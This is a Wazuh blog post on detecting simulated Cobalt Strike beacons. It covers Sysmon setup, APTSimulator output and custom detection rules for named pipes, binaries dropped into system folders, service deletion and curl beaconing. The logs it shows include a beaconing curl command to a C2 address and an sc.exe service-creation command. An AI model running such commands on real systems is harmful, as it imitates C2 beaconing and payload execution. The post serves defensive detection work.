Detecting Cobalt Strike beacons using Wazuh

June 15th 2022 | by Chris Bassey | Wazuh 4.3

Cobalt strike is a red team command and control framework used for adversary emulation. Due to its functionality and flexibility, it has been widely adopted by both red teams and threat actors. Multiple threat actors such as APT29, APT32, APT 41, APT19, UNC2452, FIN6 use cracked versions of Cobalt Strike in their attacks.

Cobalt Strike payloads called beacons are implanted on compromised endpoints and are controlled from a C2 server. In this blog post, we look at detecting some Cobalt Strike beacons using Wazuh. The presence of such beacons in your environment may indicate red teaming activity or malicious activity by threat actors with access to a cracked copy of Cobalt Strike.

Simulate Cobalt Strike beacon activity

Using the APTSimulator toolset, we simulated Cobalt Strike beacon activity, then wrote rules to detect it.

Infrastructure

For the purpose of this simulation, we used the following infrastructure:

A Windows 10 endpoint with a Wazuh agent and Sysmon installed. This is where the APTSimulator script will be run.
A server running the Wazuh manager.

Windows endpoint

To configure the endpoint to capture more logs with Sysmon and send them to the Wazuh manager for analysis, we perform the following steps:

Download Sysmon from the Microsoft Sysinternals page.
Download the Sysmon configuration file.
Launch CMD as an administrator and install Sysmon using the command below:

Sysmon64.exe -accepteula -i sysconfig.xml

Edit the agent ossec.conf file to specify the location to collect Sysmon logs:

<localfile>
  <location>Microsoft-Windows-Sysmon/Operational</location>
  <log_format>eventchannel</log_format>
</localfile>

Restart the Wazuh agent for changes to apply.

To run the APTSimulator, we perform the following steps:

Download the latest release from the “release” section.
Extract the package on the Windows endpoint (Password: apt).
Start cmd.exe as Administrator.
Navigate to the extracted program folder and run APTSimulator.bat.

Once APTSimulator.bat is running, choose “CobaltStrike Beacon Simulation” and let it run. This would generate Cobalt Strike beacon activity.

To stop the beacon activity, use CTRL + C.

Cobalt Strike beacon activity generated

When the simulation completes, we observe the following behavior from the logs generated:

Named pipes creation: Pipes are a section of memory used for interprocess communication. Pipes operate in a client-server model, the process that creates the pipe is the pipe server, and the process that connects to the pipe is the pipe client. Named pipes are pipes that allow network interprocess communications. Cobalt Strike beacons have the ability to use named pipes to receive and send commands between beacons and spawned processes. In the logs of the infected machine, we saw a pipe created which is known to be used by Cobalt Strike beacons.

EventType: CreatePipe
UtcTime: 2022-04-20 11:55:03.377
ProcessGuid: {c64152da-f497-625f-a005-000000000c00}
ProcessId: 8548
PipeName: \postex_ssh_fedac123
Image: C:\TMP\CreateNamedPipe.exe

Other pipes created were:

MSSE-1337-server
msagent_fedac123
334485

You can find regexes to detect other Cobalt Strike named pipes here.

Binary creation in a system folder: From the execution logs, we observed the creation of a binary in a system folder. Binary creation in system folders are typically indicators of malicious activity.

UtcTime: 2022-04-20 11:55:16.307
ProcessGuid: {c64152da-7f8d-625e-eb03-000000000000}
ProcessId: 4
Image: System
TargetFilename: C:\Windows\b6a1458f396.exe
CreationUtcTime: 2022-04-19 10:30:46.233

New service creation, registration and deletion: Cobalt Strike has been observed to create services in order to run dropped executable payloads. After execution has been completed, the service created is deleted. In this case, we see a service created to run the executable dropped earlier (b6a1458f396).

RuleName: technique_id=T1059,technique_name=Command-Line Interface
UtcTime: 2022-04-20 11:55:16.338
ProcessGuid: {c64152da-f4a4-625f-ac05-000000000c00}
ProcessId: 3204
Image: C:\Windows\System32\sc.exe
FileVersion: 10.0.19041.1 (WinBuild.160101.0800)
Description: Service Control Manager Configuration Tool
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: sc.exe
CommandLine: sc  create tbbd05 binpath= "%%COMSPEC%% /c echo b6a1458f396 > \\.\pipe\334485" DisplayName= "tbbd05" start= demand

Intermittent curl requests to C2 servers (beaconing network traffic): From the simulation, we noticed both DNS and HTTP network requests to C2 servers at intervals. This traffic can be used to download additional exploitation tools or to exfiltrate data.

CommandLine: "C:\Users\vagrant\simulator\APTSimulator\\helpers\curl.exe"  -s -o /dev/null -I -H "Accept: */*" -H "Cookie: cdoWQelsAYyUlsEMuvbfEAfSxSWtkRwhm5OPfZ6K+400BQBsFlxwSSvsZ2IokquiUDKEPTip7MHL5VkYirf74WkZkc29LeJIt38HQA8E79bc2x9wMgnCz7U5mWXTMZLCQPdoc0VNqbpd2ytuxKRm9upFlCgB41h3hu1GrfDt0Q0="     -A "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUS)" -H "Connection: Keep-Alive" -H "Cache-Control: no-cache"     http://10.0.2.15/pixel.gif
CurrentDirectory: C:\Users\vagrant\simulator\APTSimulator\
User: DESKTOP-VAEP8K1\vagrant
LogonGuid: {c64152da-7fad-625e-acb1-050000000000}
LogonId: 0x5B1AC
TerminalSessionId: 1
IntegrityLevel: High
Hashes: SHA1=C852A39B2BD53BE2F9CB35CF07D15D176795F47C,MD5=1673A392AAF4278D2084C224A08ABFF1,SHA256=92A112DEEA36D6D4D1BD265E2E4B200129DAB30AFE918115B77A92F68D38903D,IMPHASH=0B669CDDDC01A874708E074B055741F6
ParentProcessGuid: {c64152da-8ec8-625e-8a02-000000000c00}
ParentProcessId: 8976
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\system32\cmd.exe"

Detection with Wazuh

Wazuh provides rules for anomaly and threat detection. Based on these rules, we can create new rules to improve coverage for detection of Cobalt Strike beacon activity. We proceed to create rules to detect the identified beacon activity by modifying our local_rules.xml file and adding the following rules:

Named pipes creation: To detect when named pipes are created, we add rule 100002 below. Additionally, to detect when pipes related to Cobalt Strike behavior are created, we add rules 100003, 100004, and 100005.

<group name="local,cobalt_strike,beaconing,">
 
  <rule id="100002" level="3">
    <if_sid>61600</if_sid>
    <field name="win.system.eventID">^17$</field>
    <description>A pipe was created. Possible Cobalt Strike activity.</description>
    <mitre>
      <id>T1071</id>
    </mitre>
  </rule>
 
  <rule id="100003" level="14">
    <if_sid>100002</if_sid>
    <field name="win.eventdata.pipeName" type="pcre2">(?i)MSSE-[0-9]{4}-server|msagent_[0-9a-f]{2}|postex</field>
    <description>A named pipe $(win.eventdata.pipeName) associated with Cobalt Strike beaconing activity was created.</description>
    <mitre>
      <id>T1071</id>
    </mitre>
  </rule>
 
  <rule id="100004" level="14">
    <if_sid>100003</if_sid>
    <field name="win.eventdata.pipeName" type="pcre2">(?i)msagent_[0-9a-f]{2}</field>
    <description>A named pipe $(win.eventdata.pipeName) associated with Cobalt Strike SMB beaconing activity was created.</description>
    <mitre>
      <id>T1071</id>
      <id>T1572</id>
    </mitre>
  </rule>
 
  <rule id="100005" level="14">
    <if_sid>100003</if_sid>
    <field name="win.eventdata.pipeName" type="pcre2">(?i)postex_ssh_[0-9a-f]{4}</field>
    <description>A named pipe $(win.eventdata.pipeName) associated with Cobalt Strike SSH beaconing activity was created.</description>
    <mitre>
      <id>T1071</id>
      <id>T1572</id>
    </mitre>
  </rule>
 
</group>

Binary creation in a system folder: Wazuh 4.3.0 comes with an updated ruleset to detect various abnormal and suspicious behaviors. Rule ID 92205 in the new Wazuh ruleset detects the creation of binaries in a system folder. If you are running a version of Wazuh less than 4.3.0, you can copy the rule below and add it to your local_rules.xml file. Make sure that the rule ID is updated.

<rule id="92205" level="6">
  <if_group>sysmon_event_11</if_group>
  <field name="win.eventdata.image" type="pcre2">^System$</field>
  <field name="win.eventdata.targetFilename" type="pcre2">(?i)[c-z]:\\\\Windows\\\\.+(.exe$|\.dll)$</field>
  <description>Binary dropped in Windows root folder by System process. Possible abuse of Windows admin shares.</description>
  <mitre>
    <id>T1570</id>
  </mitre>
</rule>

New service creation, registration, and deletion: Out of the box, Wazuh detects the creation of new services. The rule responsible for this detection and subsequent alerting is rule 61138. Additionally, to detect when a service is deleted we add the rules below:

<group name="local,cobalt_strike,beaconing,">
 
  <rule id="100010" level="0">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.originalFileName" type="pcre2">^sc.exe$</field>
    <description>The service control manager tool was used.</description>
  </rule>
 
  <rule id="100011" level="3">
    <if_sid>100010</if_sid>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)delete</field>
    <description>A service was deleted. Possible clean up of malicious activity.</description>
    <mitre>
      <id>T1050</id>
      <id>T1070</id>
    </mitre>
  </rule>
</group>

Intermittent curl requests to C2 servers (beaconing network traffic): The rules below will detect network requests made using the curl tool. It would also detect when the requests are made in silent mode. If a request is made in silent mode multiple times, rule 100009 flags it as possible beaconing activity.

<group name="local,cobalt_strike,beaconing,">
 
  <rule id="100007" level="3">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)curl\.exe.+-s</field>
    <description>Curl - $(win.eventdata.image) - ran in silent mode.</description>
  </rule>
 
  <rule id="100008" level="3">
    <if_sid>100007</if_sid>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)-o</field>
    <description>Curl ran in silent mode and sent its output to a file.</description>
  </rule>
 
  <rule id="100009" level="10" timeframe="150" frequency="3">
    <if_matched_sid>100008</if_matched_sid>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)-o</field>
    <description>Curl ran in silent mode and sent its output to a file multiple times. Possible beaconing activity.</description>
  </rule>
 
</group>

Detection results

After the Wazuh rules to detect Cobalt Strike beacons have been added and the manager restarted, when the APTSimulator tool is run again on the Windows endpoint we see that the beaconing is detected and alerts are generated.

Conclusion

In this blog post, we successfully created rules to detect simulated Cobalt Strike beacon activity. It is possible to respond to these activities using the Wazuh active response module. Since Cobalt Strike has become a tool in the inventory of multiple threat actors, it is important to detect and respond to its activities to avoid breaches.

References

NextronSystems/APTSimulator: A toolset to make a system look as if it was the victim of an APT attack

Detecting Cobalt Strike beacons using Wazuh

Simulate Cobalt Strike beacon activity

Infrastructure

Windows endpoint

Cobalt Strike beacon activity generated

Detection with Wazuh

Detection results

Conclusion

References

Detecting Living Off the Land attacks with Wazuh

Wazuh and Diamatix Forge Strategic Partnership to Bolster Cybersecurity Solutions

Kuiper ransomware detection and response with Wazuh

Wazuh and Wattle Tech sign a partnership agreement